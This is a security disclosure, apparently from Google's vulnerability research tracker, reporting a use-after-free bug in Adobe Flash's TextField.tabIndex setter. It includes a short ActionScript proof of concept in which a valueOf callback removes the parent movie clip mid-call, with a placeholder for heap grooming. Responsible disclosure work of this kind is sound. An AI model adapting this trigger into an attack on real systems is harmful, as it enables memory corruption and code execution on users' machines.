Adobe Flash: Use-after-free in TextField.tabIndex setter

There is a use-after-free in the TextField.tabIndex setter. If the integer 
parameter is an object with valueOf defined, then it can free the TextField's 
parent, leading to a use-after-free. A minimal PoC follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 1);
var tf = mc.createTextField("tf", 2, 1, 1, 100, 100);
tf.text = "hello";
tf.tabIndex = {valueOf : func};

function func(){
    if(times == 0){
        times++;
        return;
        }
    mc.removeMovieClip();

        // Fix heap here

    return 0x77777777;

    }

A sample swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 13 Oct 2015 at 9:18

Attachments:

tabIndex.swf
tabIndex.fla

cipherpunk / google-security-research

Adobe Flash: Use-after-free in TextField.tabIndex setter #574